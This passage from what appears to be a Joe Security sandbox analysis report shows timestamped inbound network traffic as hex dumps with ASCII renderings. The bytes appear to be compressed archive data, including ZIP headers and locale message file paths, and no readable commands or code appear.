45 9b 33 45 ee 46 52 8e d6 69 b7 57 d6 ee 65 02 96 dd 63 82 0f d7 f1 e7 08 d5 34 32 41 9e a9 9b 72 24 7a 6d 0a bf e8 53 
e5 b8 95 fd 97 d4 c5 d3 87 04 71 2b 07 65 e5 60 99 73 73 37 27 71 04 32 cb b9 27 58 e5 96 d7 a6 46 7c 29 93 a0 64 09 
70 f1 81 9b d1 cc 12 18 8e c1 52 a9 37 e4 aa 15 1c 8d 1a 0f 3d 1f 9f 4d fa 83 49 59 01 1b aa 8e f4 8e df 2c a1 4a bf fb af 
4a 0a 84 99 87 03 67 89 9c 96 ed d1 18 62 55 05 f8 4a c6 eb d2 5b a3 b2 a4 20 54 50 a5 e6 9e b7 95 a5 00 c0 f5 6f e0 7d 
c0 4e 73 c1 8b 7b d0 1c 47 2e c6 af 2d 7e 95 b9 e3 21 4f e7 74 50 96 ff a0 c1 8c 7b 00 77 9e 08 e7 9c 99 47 f0 6d 21 30 
00 59 d1 83 d0 5b 29 f2 24 fe 56 0e 5e 52 40 c0 d4 fb 
Data Ascii: T.@Yw_GJRE3EFRiWec42Ar$zmSq+e`ss7'q2'XF|)dpR7=MIY,JJgbUJ[ TPo}Ns{G.-~!OtP{wGm!0Y[)$V^R@

2021-11-25 16:27:48 UTC 629 IN Data Raw: 7f cd 17 a2 f1 05 b1 56 d2 17 5d 0f fc 0f 0d a5 1d 97 cc 69 66 ad 50 4e 70 4e 55 9d aa f6 71 ce 6d d9 c8 38 95 
19 86 ec 44 76 1b cb 9c 54 a9 8c af 2b be ec dc 84 82 af cb 2c 22 42 54 20 1c c4 91 3c 99 d3 99 10 50 90 a0 c8 e7 4b d8 
6d 32 9a c0 70 cb c5 93 8f ef 3f dd 15 ef 9f dc de dc dc d7 0f cf f8 e0 67 f6 39 14 3b 5f 52 b5 af 21 00 0e f9 e5 67 fe f9 f3 6c
7e 36 9c 4e fe 91 cf bf f8 97 57 c1 a5 37 e5 80 7a 5a a4 4f fb a5 62 47 03 de a2 4b 9f f0 ed c3 db fa ae 5f fe 8f 5f 93 ff 12 
ed a0 14 2a 2b e3 70 3b f0 4b 67 8c 40 9e d2 da 4d 03 a6 4f 07 e3 ab 71 14 44 c0 30 0e c0 72 30 9f 93 99 14 94 07 58 5d 
9d f8 32 6f 3c 5a 89 42 b5 c8 5a f1 4d c0 1f cd bc 87 6c a8 6a 96 57 de c3 da 86 42 67 6d 07 98 84 05 ae 31 66 a4 34 78 
97 90 52 0a aa 94 b3 f6 69 ce 14 07 10 
Data Ascii: V]ifPNpNUqm8DvT+,"BT <PKm2p?g9;_R!gl~6NW7zZObGK__*+p;Kg@MOqD0r0X]2o<ZBZMljWBgm1f4xRi
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transferred Direction Data

Copyright Joe Security LLC 2021 Page 82 of 214



2021-11-25 16:27:48 UTC 630 IN Data Raw: 16 2d 8f 06 0a a0 5d a0 3a df 06 39 b7 a3 d7 2e 63 da 55 a2 48 36 63 7b cb 23 75 8c f8 ad b9 da 61 79 0c f6 3d 
a4 cb 58 52 6f 0f eb 61 b3 d6 4c 33 a9 d0 06 82 bf 08 ff 13 c5 5c 74 68 42 75 a0 67 e0 5d 36 ac c6 2f b6 16 ec 64 35 3f ef 
90 c2 43 b8 f5 c9 3a 88 2d 8a ff 20 db 9f 2c 36 6b 40 73 87 c6 0a 85 1f db 46 4f ea a8 b9 7b d8 f1 3e af d9 f6 2b 07 68 e0 
ed f9 27 ff 89 0d 3e 2a f4 8f f1 3d 99 83 3b a4 33 f0 8f 65 9a 81 3f 7c 3d 07 10 c9 a7 17 51 dc 00 d5 e1 55 cf ee 60 28 e1 
34 49 f2 1c 8b a5 38 c0 91 f2 1b ad 8a d8 c9 42 33 ba 67 cd 11 1d e0 06 e0 5c 8a c8 a4 c6 38 ac cd 3e 9f 74 02 2b 46 08 
5a 85 28 e6 84 6d fa f9 59 c3 f8 65 a7 c4 22 7e fd 04 28 8c 04 b6 48 ca 37 df 86 a1 61 4d 19 43 26 73 14 30 6e 1c bc 85 
c4 22 d6 44 91 9c 0e 6a c4 60 ff 9d fd 4c 43 
Data Ascii: -]:9.cUH6c{#uay=XRoaL3\thBug]6/d5?C:- ,6k@sFO{>+h'>*=;3e?|=QU`(4I8B3g\8>t+FZ(mYe"~(H7aMC
&s0n"Dj`LC

2021-11-25 16:27:48 UTC 632 IN Data Raw: cf da d8 5d 2f 56 cf bd 8d f0 a7 24 8c 09 e6 90 28 9c e6 cb 57 b3 f9 4b c4 d1 e9 69 3e f7 e1 f8 6a 72 3a 49 ec 
4d 90 cb 5e 55 7d 1b a4 ee d3 f6 2a 59 0c 2f 72 72 29 d4 00 b9 57 cb 2b ef b3 f5 e5 28 31 4d 0a ed a9 8e d9 a1 14 75 69 
25 11 bb 9c 4f ae 86 a3 d7 eb f1 70 39 5c af 16 c3 b3 9c 48 a7 e4 e2 48 a2 66 e1 f9 16 5d 5c 28 3c a3 e5 cf 67 67 49 79 
24 7a 47 42 78 b9 ba 5c 5f 4d 16 93 e7 93 10 64 bd 2e 25 ee a2 a6 da 66 a7 cb 57 c3 79 7f e4 53 c8 9a 68 59 4d 5f 4e 67 
af 12 59 aa 95 4f 64 af 26 e3 bc bf da 13 9c a8 47 c3 e2 62 36 5b be 98 e6 8b c4 aa d4 bd e8 44 c9 eb 3c 05 2b e2 be 59 
90 5b 9c ad 4f 51 90 11 bd cb 19 b0 66 91 94 2f ea b8 bb 95 84 a5 50 6d c6 f9 74 92 56 2c ea 84 7f 5f 6e 39 b9 c8 b1 e0 
24 f1 88 d1 73 2b 78 11 d0 6c 9a 8f 96 cd aa 13 fb 10 
Data Ascii: ]/V$(WKi>jr:IM^U}*Y/rr)W+(1Mui%Op9\HHf]\(<ggIy$zGBx\_Md.%fWyShYM_NgYOd&Gb6[D<+Y[OQf/PmtV
,_n9$s+xl

2021-11-25 16:27:48 UTC 633 IN Data Raw: 15 52 17 79 be 5c a7 da 07 88 36 62 6f a2 a4 d7 ac fd a1 95 1c 0f c3 e4 cd 77 fc 07 fe f1 08 96 6d d7 e4 36 fd 
92 af 17 69 51 72 93 5a 31 fe e5 36 cf aa 34 ab 98 7d 6f 0c be 93 56 58 fa d9 e4 3f 3f 9b 28 2d b0 f6 16 28 35 d8 47 4f 4f 
1d ce 9a 6d bf 1c fa eb fb 53 f2 ef cf 75 aa eb fa f7 a7 e5 96 64 ed 17 a2 7d 29 d2 bb f7 9f 8f be 54 d5 b6 7c 77 7a 5a d6 db
6d 5e 54 27 4b ee a1 93 db 7c 73 7a bb 73 f1 29 c9 ca 9f d3 e2 d4 0c 78 96 7f 3e d2 2a 52 2c d3 0a f2 b3 39 82 64 f5 f9 a8 
55 cc 1e a2 dd ae 49 59 e2 c7 22 fd 6f 4d 8b 74 f1 56 58 04 c1 6c f9 b6 fc 92 ff 8c 1f ff 51 e5 db 93 b2 be bb a3 b7 14 9b 
eb a7 e9 62 4e 6e 99 2a ee 02 e4 82 e3 39 a6 8d 67 7a 96 a9 7b ae 21 47 1a 32 7d 8d 53 a7 da 0a 86 66 b0 89 d0 77 bf 
fb 18 95 5e 36 7e ed 18 4c 71 0c 0a 33 95 
Data Ascii: Ry\6bowm6iQrZ164}oVX??(-(5GOOmSud})T|wzZm^T'K|szs)x>*R,9dUIY"oMtVXlQbNn*9gz{!G2}Sfw^6~Lq3

2021-11-25 16:27:48 UTC 634 IN Data Raw: 2e 8d 4a 6f 5b ae 8d 46 d2 41 2f e9 59 8e ec f5 83 2e 32 4b 59 98 ac 88 88 ef 8a 4d 01 a8 d0 65 b2 3e d4 b7 
51 7a c0 30 75 db 95 02 f3 8a cc 01 3a c0 73 86 36 9b f4 b0 97 df f7 c4 31 9e 54 6a f7 34 e5 d9 8d a7 ec 80 8d f9 ec 45 fb 
f7 5c 10 4e b4 1f 53 aa 15 00 19 2a b0 69 2e 70 1c 8c 59 88 02 b4 59 4c 92 07 3c 05 5f 50 59 d8 98 61 07 ae 04 4f 26 5b 
d8 01 dc 6e 22 e3 45 07 da ea bc 05 7d 2f d2 e7 76 f3 e4 8f b4 95 af f4 8d 6d 3f a2 70 ea eb 6d e1 ef ec 04 ab 22 af b1 6d 
f4 27 79 d5 74 84 8e 69 b9 6d 43 e2 80 fe 01 ee 4c df f3 00 50 81 ee 18 52 30 83 a1 d0 0d 3b 4e 21 e0 39 0e 9b 11 38 01 
68 1b 18 80 cc c3 f8 3c a1 25 9d 1f 7a 42 0c 7c 0b cf f2 41 bd c0 43 c0 59 a4 d0 09 9b 7a 44 19 ab dc 6c 69 0d 6b d9 44 
a9 73 7e f0 08 66 8b 48 bd af b3 25 70 82 c5 2c e2 
Data Ascii: .Jo[FA/Y.2KYMe>Qz0u:s61Tj4E\NS*i.pYYL<_PYaO&[n"E}/vm?pm"m'ytimCLPR0;N!98h<%zB|ACYzDlikDs
~fH%p,

2021-11-25 16:27:48 UTC 636 IN Data Raw: 82 48 88 d2 7d 33 4c 8e d9 4d e6 b6 b9 d6 4f 8b 07 44 03 0e bc 25 e4 a4 58 e4 62 9e 96 84 63 4d dc 26 8b 19 
67 b0 f3 7f b6 dc 7f 9d 80 dd c2 79 ba ef 5b 3e 5a 02 36 fb 93 5b 8e dd 5c 6a e7 b7 ae 4d 7b d6 89 76 d3 78 94 b3 a3 d7 
c7 4f d7 51 2f 0e 67 a3 c1 74 12 8d 66 61 af 17 4f e2 41 12 5e cd ce 07 d7 d7 51 32 19 1f da a1 ba 62 95 f5 4c 7b f1 60 f6 
d3 34 bc 8a 27 9f 0e 35 a8 d0 55 d2 70 1e 26 e7 d1 d5 ec 6c 3a 99 0c 12 d9 06 f9 0a 53 d6 30 48 26 d8 00 ac 88 c6 6c 4f 
87 4a 54 fd ac a4 a4 17 f7 66 c9 60 32 9b 8c a4 6d a8 f8 b6 24 df 8f a2 de 59 78 7e 39 8b ae c3 f8 6a d6 8f a3 ab de a1 22 
d5 bd 48 b7 a2 fe 60 74 3d eb 45 e3 f3 51 3c 54 6e 4b 31 20 eb d6 f6 21 0a 7b d1 e8 50 87 8a 50 76 eb 18 8e 06 d7 c3 89 
e4 1e b9 7f eb 56 31 8a 7e 9a c6 a3 48 72 8d aa 73 
Data Ascii: H}3LMOD%XbcM&gy[>Z6[\jM{vxOQ/gtfaOA^Q2bL{`4'5Up&l:S0H&lOJTf`2m$Yx~9j"H`t=EQ<TnK1 !{PPvV1
~Hrs

2021-11-25 16:27:48 UTC 637 IN Data Raw: bb 54 ab a4 89 be e1 ff ac b5 6d b2 13 4f a0 4f 49 bc d5 e8 fe 91 6e 9e d3 a7 72 cb be 3d 27 f9 86 2e ea 7b 33 
ba ce 8b 32 4b b5 a7 0a 6f 91 97 1c ce 58 ac 37 e5 6f 42 1d 28 e2 78 ae 63 39 c4 d4 7d e2 da 97 da 44 71 c6 65 96 71 8e 
d5 64 94 eb 46 77 94 03 58 86 67 c1 30 0e 64 3d dd 70 5c 53 bf 44 78 48 56 71 0a d5 e2 dd 96 ab 2e 00 17 02 c1 36 0c 
dd 22 8e 67 9a 3a 70 88 69 4b 08 83 38 39 ac e2 67 be ae 5c 4b 0e cf 71 b2 4a 0b 2d a7 0c 95 2d be bc d1 fa 7c 91 ab 43 
79 ad 89 07 55 cf 31 93 5d 12 17 da b3 70 43 06 ac 1b f1 60 9b f8 04 4f b6 5c 9d 78 86 e7 db 9e ac fa a5 d2 8f b9 ec 52 c7
74 1c cf 71 2d 66 48 cb b7 4c d7 91 17 f0 4c 13 28 4a b7 62 cd 1e 81 d9 0d d7 72 6c cf b7 6c 57 77 a5 98 9a ac 2b 4b 9b 
cb 72 2b 1e e3 d9 c4 f4 5d 9b c0 51 06 31 88 e9 c9 ea 
Data Ascii: TmOOInr='.{32KoX7oB(xc9}DqeqdFwXg0d=p\SDxHVq.6"g:piK89g\KqJ--|CyU1]pC`O\xRtq-fHLL(JbrllW
w+Kr+]Q1

2021-11-25 16:27:48 UTC 638 IN Data Raw: 98 fc 6e 99 9c 56 9d 5c db a7 f8 9a 08 ed b6 b5 81 56 07 f0 f3 a3 6d ae 1b 5e ca ba e6 5a 78 01 0e 62 2a 0b 
b6 09 1d 33 ad b1 6b 6d 47 6e c5 c6 40 4f 30 44 99 95 b5 08 4c b9 2a d7 f8 9d af 6f 4d 37 7b 3e 0e f0 c4 c0 c8 66 82 47 
a0 5a a1 8f 23 39 4c 89 66 33 ca 5c 97 7c 84 4b 35 e3 e0 f2 a9 ee bf 09 2c 07 f3 89 6d b2 4c 25 86 6d a2 f4 49 83 1b 0f 4a
31 87 70 a6 6f 19 e8 13 18 6d 2c d7 43 ab 70 2c dd 93 72 f3 58 d8 f6 59 7c 10 0c 8d 0f 2f 22 b4 61 b2 7d 46 f3 26 0d 58 a8
c1 6c 48 56 9a 88 44 2d f2 f3 09 a8 3c 3c e2 1a 1b 7c 10 5e 3f 34 0e 59 36 9a 87 87 79 d4 a8 86 42 db 93 db 52 b0 67 0f 
8c b5 dd d9 3c 76 fe e0 1a b8 19 58 7f ec d9 ae 8d 4a ee 1b a6 8d d6 62 fb 44 7e f6 79 2f cf b1 78 e6 1f b8 1a da 3c d3 ac 
4e 7b 36 a2 26 79 22 12 b6 38 d7 ad ae 4e 0b 5a 
Data Ascii: nV\Vm^Zxb*3kmGn@O0DL*oM7{>fGZ#9Lf3\|K5,mL%mIJ1pom,Cp,rXY|/"a}F&XlHVD-<<|^?4Y6yBRg<vXJbD~
y/x<N{6&y"8NZ

2021-11-25 16:27:48 UTC 639 IN Data Raw: 11 a0 3d a5 6c 13 b4 76 79 9d 44 a0 e6 eb 26 1f 84 d3 31 c2 7a c4 d4 1d 03 bd 0a f3 bb 2b 13 8b 1f 61 7b 2b 
ca 3d 2c 12 1b c9 ab 22 7d f8 f9 27 ac a3 3e 2d a4 db 6b cd b8 b6 f8 4d 77 ef 0f ec 11 76 f3 ed e7 5a 41 d7 71 0d cb 00 fb 
01 93 33 51 c8 db 46 ee 4a c5 46 af 4a 13 d0 ab cb c8 e3 9d 8d 25 12 9b cf 74 c0 1b 06 18 af 21 11 93 28 6e f7 a7 47 3c 
c6 66 40 6c 2a aa 4d 7c 4f 12 0f 2a 5a a8 d8 7e f6 d0 98 7c df 77 2a 5e 64 59 ae 2e d7 83 f1 91 03 29 ce 52 3d b3 ea 02 
9e 07 7a e6 10 17 d3 a5 54 0b ba 17 f5 f9 b2 f4 55 c5 a1 65 8f f0 4c e5 e4 cf ed da 8a a5 fd 79 6d 1b 6c dd 64 55 da 33 1d 
10 38 df f2 a5 56 79 c2 2c 3d d0 62 10 71 4b 07 e3 62 3c cf 52 a7 0d 66 72 36 0b 51 04 22 02 bf 09 28 74 d8 6b 6d 81 22 
dd 9e 51 bf 37 34 79 e0 c0 ba e5 59 3a ba 3b 5a bc 
Data Ascii: =lvyD&1z+a{+=,"}'>-kMwvZAq3QFJFJ%t!(nG<f@l*M|O*Z~|w*^dY.)R=zTUeLymldU38Vy,=bqKb<Rfr6Q"(t
km"Q74yY:;Z

2021-11-25 16:27:48 UTC 641 IN Data Raw: 90 9e 46 d3 7e 38 97 12 43 f1 9a fa 89 30 1f 0b 31 b2 08 c2 d0 09 46 ac 8a 49 2b 50 bc 7f d0 a0 80 a2 4a e6 
52 1c 31 d4 f7 8f 82 d9 44 12 50 bd aa db 08 f4 03 b9 7c 29 5e 64 ae ef 9f 84 a1 d4 9e 55 3b 7f f5 fd b3 81 6a 09 aa 5d f5 
5a e2 61 d8 9f dd 4b 12 aa ff e4 f3 f2 f2 7f 50 4b 07 08 98 9c 1d 6c 39 10 00 00 51 36 00 00 50 4b 03 04 14 00 08 08 08 00 
2a 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6c 2f 03 00 50 4b 07 08 00 00 
00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 
00 5f 6c 6f 63 61 6c 65 73 2f 6d 6c 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e dd 5d 5b 6f 1b 3b 92 fe 2b 5a 4f 1e f6 0c 1c 
9b f7 4b 76 ce 1e 28 56 db d1 c4 96 3c ba 38 c8 20 
Data Ascii: F~8C01FI+PJR1DP|)^dU;j]ZaKPKl9Q6PK*Q_locales/ml/PKPK)Q_locales/ml/messages.json][o;+ZOKv(V<8 

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 642 IN Data Raw: 05 2d 76 44 4f 48 73 20 02 7a fc 43 8c 46 02 9c 4e c8 b5 a1 22 0e f9 02 4e 45 be 3c 10 8a d0 44 38 00 d0 8c 
59 29 2d cc 57 48 09 fa 9e c7 f2 a9 27 bf 8c 54 38 53 1c 90 b8 f5 00 77 b9 05 90 47 2e 04 9e 4e 58 0e 1b 04 01 21 56 81 
10 2b 56 ed 68 e0 24 58 38 67 8c 30 4e 71 26 19 74 48 77 55 31 16 23 ff 16 3a 43 e6 2f 1b 4d 31 14 86 a6 08 7f f3 d8 09 
00 f7 de 5e 1c bb f4 60 3e ad d3 30 76 0e a2 a6 1e 80 03 b3 c1 64 5c a3 24 64 6a ad 37 ac af b1 60 bf e1 d3 03 0b 7d 6e 
a5 72 ba 4e e8 64 90 af 40 5d 81 7f 13 1c a4 41 7b e9 4b ed 24 a5 09 47 f0 b6 c5 f8 e6 59 22 4f 54 1b 20 c4 97 60 5f d2 
c9 b6 65 45 2b c1 14 4c 15 c2 45 26 25 70 9e 9c 6c c8 5b 10 4e af 6c 01 2e db c1 3f c2 80 54 7b 2f f3 31 40 b4 f4 57 55 4b
c5 20 12 f1 10 fc 59 10 57 88 ff 4c 46 ad 50 9c 83 a5 
Data Ascii: -vDOHs zCFN"NE<D8Y)-WH'T8SwG.NX!V+Vh$X8g0Nq&tHwU1#:C/M1^`>0vd\$dj7`}nrNd@]A{K$GY"OT `_eE
+LE&%pl[Nl.?T{/1@WUK YWLFP

2021-11-25 16:27:48 UTC 643 IN Data Raw: 57 1f 9e 1e 7e 78 d4 fa e0 15 45 3b 3d d8 5d 2d f6 5b 97 71 0f 93 52 8a 31 e0 99 30 0e d6 ca 32 c5 e9 c2 df 16 
af f1 de 5e a7 4e e2 c4 0d 15 89 7d 87 11 26 8a c5 1f 98 50 d9 ac 40 5a 2b 60 95 77 12 fe 05 e0 cd 99 a7 f9 e4 92 b0 3e 
dd ca ca 71 8b 28 3c 6f 95 7a e0 97 e8 ad bc bc 5d ae b3 ac b2 e1 35 51 37 fd 93 82 29 42 82 6b f8 16 79 6d 34 93 ca 80 
05 63 65 65 a6 32 6b 8f 41 64 d7 7b eb 29 f1 fc 8c ee 25 53 a1 55 4e 2b 27 78 c6 ee 33 b1 3f 9f 1c 27 b9 4f 02 d2 b2 2e 
b9 54 bc 96 48 a7 8d 60 1c 80 ba f0 00 35 8d 27 8f 70 44 c5 62 8d 4a b5 f7 84 37 da bc db 12 b1 d7 24 42 b1 43 74 f7 bc 
d1 89 16 02 c1 d8 b0 b3 5c 28 af a2 bf 04 86 18 0f 9a 29 bd 05 55 75 4c 33 2d ba aa d2 1f cd f3 80 87 38 3c 09 03 b0 10 
95 83 89 28 13 86 20 b5 c2 6b 52 6e 03 84 e3 1b 73 13 
Data Ascii: W~xE;=]-[qR102^N}&P@Z+`w>q(<oz]5Q7)Bkym4cee2kAd{)%SUN+'x3?'O.TH`5'pDbJ7$BCt\()UuL3-8<( kRns

2021-11-25 16:27:48 UTC 644 IN Data Raw: 63 a3 00 e9 fb cf aa a4 29 c2 14 17 d6 c5 ff bd b3 d3 d1 6e a6 15 4e 54 b4 a0 60 e4 da 2e 4a d6 63 13 85 35 
e9 7b 53 78 a3 fe 14 ef f0 bc 45 c2 75 d9 5d 29 b0 0a 5d 31 c7 eb 72 c7 dc 95 14 f1 8c 43 79 bf 8e 65 ce 49 27 c0 3e 83 
a1 a6 f7 57 ff 4f 94 a8 62 73 4f 44 d5 0c cd be 75 13 e0 8f 2f 4e 3e 29 06 c3 fe 62 32 9e cf 8a c9 a2 3f 18 0c 67 c3 f1 a8 7f 
bc 38 18 9f 9c 14 a3 d9 74 95 e5 d4 45 53 29 9d f9 60 38 5e fc 6d de 3f 1e ce 5e af 52 a0 20 67 42 e1 a0 3f 3a 28 8e 17 cf 
e7 b3 d9 78 94 8e 21 bd 87 29 a5 30 1e cd 60 02 30 8a 62 5a ce 69 95 08 55 76 92 10 19 0c 07 8b d1 78 b6 98 4d 92 69 
50 db 37 49 fb c3 a2 18 3c ef 1f bc 5c 14 27 fd e1 f1 e2 70 58 1c 0f 56 09 51 57 4d e4 09 1d 8e 27 27 8b 41 31 3d 98 0c 4f 
c9 69 11 55 bb 79 6a 2f 8a fe a0 98 ac d2 a0 32 
Data Ascii: c)nNT`.Jc5{SxEu])]1rCyeI'>WObsODu/N>)b2?g8tES)`8^m?^R gB?:(x!)0`0bZiUvxMiP7I<\'pXVQWM''A
1=OiUyj/2

2021-11-25 16:27:48 UTC 646 IN Data Raw: 59 fd 55 f6 e0 e1 b0 73 c0 05 97 85 b6 85 13 56 48 67 75 21 18 05 8b 9b 16 96 ac 61 29 d6 7e 16 8b fa 1b 57 
3f a9 fd af 1d f4 9f cb 76 5b a1 fc e6 f5 cf cc b4 ab 03 d4 eb fa 9b 95 df ad 7e 48 38 bf a2 86 e7 7f f0 84 b1 76 81 df 87 2f 
10 6c e9 d6 1f 92 18 19 b5 be 58 d5 e8 49 8b be 5f 75 e8 dd 02 25 0e 91 e8 7f 6e 88 fb 25 b0 16 98 6a 9c 35 ca 30 c9 0b 
66 35 79 4a bc 5e 8f 08 0b d8 16 e8 f4 ac a7 c8 e3 63 10 19 e1 10 95 70 0a 64 c1 c0 93 8e 0b 63 25 a7 b6 22 c0 af d6 51 
e0 d2 9f cc 0a d1 e6 d0 d9 23 3a e5 d2 6f ae 85 e0 8a 19 27 25 07 14 98 d4 e4 e6 1e 56 74 98 18 1d 83 58 ca 34 12 02 d3 
a2 10 1d 63 10 b0 eb 44 2e ed 11 16 3d d9 4a 58 2c 55 5e 56 38 42 2a 62 3b 7e e8 1a 51 be 5a 97 1e 42 0c e4 f2 28 70 
46 03 31 c0 1a 65 39 73 c2 15 da e5 8f 25 1c 85 43 db 
Data Ascii: YUsVHgu!a)~W?v[~H8v/lXI_u%n%j50f5yJ^cpdc%"Q#:o'%VtX4cD.=JX,U^V8B*b;~QZB(pF1e9s%C

2021-11-25 16:27:48 UTC 647 IN Data Raw: 96 36 94 cc aa a4 48 20 45 a2 20 02 d5 a2 02 75 e1 1c 0b c4 bf a0 c0 57 eb 6c 8f d4 55 e1 80 23 f0 fd 0a 41 0f 
67 ee 1f f2 75 85 a8 40 b0 b7 77 8b cc 4a 14 64 b5 8f 06 31 c0 9e 69 0b f9 ff 92 ed a1 0e da 33 c7 b5 52 44 99 3d bc 0f d6 
07 af a2 76 5d ae 72 88 35 b6 62 d9 12 d7 c8 c4 bf 42 96 4c e5 0d 55 2c 1b cb 99 1e f6 e5 51 c6 74 51 1e 03 9f e0 82 e6 
50 94 e9 45 aa 8d 74 be 41 36 51 d5 68 07 2c c5 3a 03 7b 27 b1 8f ab 78 98 de 2d 65 5b 96 b2 00 89 8a 20 fc 00 46 79 27 
af 73 88 85 12 fb 0c c2 ef 59 84 a6 67 85 6b d1 8c bc 55 20 12 2d 48 9d 41 a8 91 23 21 8e 2b 9f a9 0d 64 eb f4 fa e3 8f 0d 
5b 6a 68 58 22 7b 3e 1a fa a6 26 66 17 09 08 15 39 77 b8 af c8 fb af 44 64 24 71 8c 8a 43 e0 28 46 d9 d6 16 88 f6 0b e5 
bc 9a 0b 69 68 8e f3 84 28 ad da ac 5d d8 69 53 
Data Ascii: 6H E uWlU#Agu@wJd1i3RD=v]r5bBLU,QtQPEtA6Qh,:{'x-e[ Fy'sYgkU -HA#!+d[jhX"{>&f9wDd$qC(Fih(]iS

2021-11-25 16:27:48 UTC 648 IN Data Raw: 12 c1 58 5a 32 21 c4 34 3b 58 65 0c 57 10 28 14 5c 58 e1 b4 64 84 ac 22 cd 45 eb 1f e1 60 10 22 99 54 39 4c 
8b 99 02 42 7b 2b 65 01 51 3e 18 1f 57 30 5a c0 17 48 e2 50 c8 10 c6 93 3c 82 5f 67 34 71 f9 d1 b4 16 46 26 b3 22 4d 24 
16 45 07 ad 1a 10 61 63 68 c5 e2 a6 d4 b6 18 80 50 ed ff f3 0b b3 d7 98 32 58 6d a8 4d ac 45 63 d9 c6 4f 34 0e 98 98 49 
89 48 69 da 98 29 17 51 89 61 db bc d6 be 73 6b b8 bc b2 a9 e7 f7 b8 fa 3f 36 65 01 11 81 44 58 27 ea 15 f9 93 7c 89 6a 
9f 09 b6 3d 26 22 70 41 7f 73 00 4f 14 df 02 0f 2f 91 94 24 53 50 cd 6e b9 ca 56 2e 68 21 fa 14 c8 a5 71 62 9e 8a 28 c7 43 
4c 6c 0d 13 bc 6a 6a 42 12 a3 20 da dc 30 27 ba cb 2e 59 cb 67 39 18 7d 70 d5 0c 52 48 30 7d 0c 4c f2 fa 56 eb 35 d2 2d 
65 40 1c 92 8b 48 16 2e 11 42 b1 d2 e3 73 8c 6e 1c ee 
Data Ascii: XZ2!4;XeW(\Xd"E`"T9LB{+eQ>W0ZHP<_g4qF&"M$EachP2XmMEcO4IHi)Qask?6eDX'|j=&"pAsO/$SPnV.h!qb
(CLljjB 0'.Yg9}pRH0}LV5-e@H.Bsn

2021-11-25 16:27:48 UTC 650 IN Data Raw: 61 d9 9b 06 ac 13 fe 10 2f 31 43 8b bf 5a 48 ef 97 bb bd 5e 79 31 ed 3e 3f 4b 74 87 9a 3b c9 c3 39 1d 8d 12 4c 
a8 84 2f 0f e1 a2 1c 9f 00 55 09 39 c4 bb bf 36 00 19 8d 12 0f 46 24 e5 79 00 b3 e1 00 42 85 b3 b3 c1 e9 80 e0 09 75 0b 
80 82 d5 1f 4c 7a dd 71 bf 3a a9 93 c1 f8 bc 4b a9 22 75 e9 8c 82 75 32 18 96 b5 79 99 83 66 0f 09 e7 43 75 41 29 40 35 
8c 8c 93 27 ca 80 14 88 61 37 0d bf d2 77 14 51 2b 47 2f 53 13 9f be aa 83 5a 39 2e 2b 03 4b d0 4d dd 90 a0 00 64 96 53 
6f 7d c9 2d af 55 2d b1 a5 44 fa 
Data Ascii: a/1CZH^y1>?Kt;9L/U96F$yBuLzq:K"uu2yfCuA)@5'a7wQ+G/SZ9.+KMdSo}-U-D

2021-11-25 16:27:48 UTC 650 IN Data Raw: 91 05 40 f9 07 6a 54 2d 0b 60 32 03 4d 4d ad 21 55 45 a0 60 d4 f1 d0 f3 d9 e9 7c 34 9e 97 55 60 93 8a 63 7a 
51 30 0b a8 92 ef d1 ab 32 0d 84 89 17 45 66 81 9c 94 dd e9 0c 7c 55 15 f0 95 84 d5 4d 6f 6b 64 41 81 ab 48 85 9a 7a c9 
4d 16 02 04 ae 7f 02 eb 03 7a 9a 73 5e d4 bb 98 28 70 de 7f 6d b0 ab c4 10 76 1e ce c9 b8 2c ff 92 3a 33 ea bd a9 79 20 
94 71 26 5e 6c b5 01 c0 18 ce 2a 25 24 1d dc ce 83 f8 53 39 7e 99 06 04 44 5d 3c 0f 22 e3 21 a8 4b 35 1b 80 10 1e 82 9a 
1a cc 43 f0 a1 49 ea 76 75 f2 86 cc 0d 30 a6 10 6f a6 22 4b cd 4e e6 81 cc 86 af bb d3 de 0b 4a c8 a8 71 1d 0a d0 9b d1 
0c 32 f4 e1 e4 35 a1 3e c4 8b a8 10 88 17 dd e1 29 84 2e f3 c1 b0 0b 6a f3 2a c1 80 ea 40 92 cb 5f 81 b6 a5 a1 13 71 35 
92 58 1d 32 80 34 55 4c 07 11 89 d5 d3 c1 f4 ac 9c 27 8a 
Data Ascii: @jT-`2MM!UE`|4U`czQ02Ef|UMokdAHzMzs^(pmv,:3y q&^l*%$S9~D]<"!K5CIvu0o"KNJq25>).j*@_q5X24UL'

2021-11-25 16:27:48 UTC 651 IN Data Raw: 5e 35 a3 74 89 c0 15 5a 5c 60 ba aa 3a 86 e1 40 89 6e 18 86 7e aa e5 23 2b 57 6a aa a9 a1 01 38 1e 40 5d 73 
80 c3 a7 2b 3b d8 8e 58 6b 20 98 ae 6d eb b6 6b 6a aa a1 42 82 ae 85 63 16 1c 55 77 e8 66 cb 55 be 56 a6 00 c2 f4 f2 f2 
b2 d4 60 78 08 ae e3 5a d0 a0 61 ab 26 81 d8 0f ec 89 6d cb fe 56 c8 18 e8 4d 48 07 fc ef e1 ce 9e c4 c2 36 2c bc 58 ed 
cd 34 91 9d ba 86 8d 59 9e e1 f1 08 90 cd 7f 88 2a e5 96 a9 ab 26 54 a3 1b aa 86 01 d3 88 72 d1 e0 cb c5 36 9a 39 d0 0f 
f6 d8 70 95 e7 19 a7 8b 7b 77 62 a5 a9 a2 43 79 e8 93 0e 5c 86 56 69 53 ff 07 28 bd 95 f2 d3 36 e6 fd 23 f9 f9 6d 25 c7 b7 
aa 69 aa a7 f3 8a d1 69 97 bb 07 8a c4 65 bb 39 57 fe 10 df d2 38 cd a2 b5 b2 85 f3 23 b8 6d 05 7e 70 0e 02 91 09 47 36 
80 a2 e7 4a 9a b1 0c ab 90 6b db 5d 84 2f 90 c2 f2 c7 
Data Ascii: ^5tZ\`:@n~#+Wj8@]s+;Xk mkjBcUwfUV`xZa&mVMH6,X4Y*&Tr69p{wbCy\ViS(6#m%iie9W8#m~pG6Jk]/

2021-11-25 16:27:48 UTC 652 IN Data Raw: 71 84 c2 89 6d 12 ff e8 d9 9a 1a fe e3 46 6b db 72 2d 0f 90 65 6b c0 07 d4 19 60 42 de 93 4b 42 52 08 d9 1a 
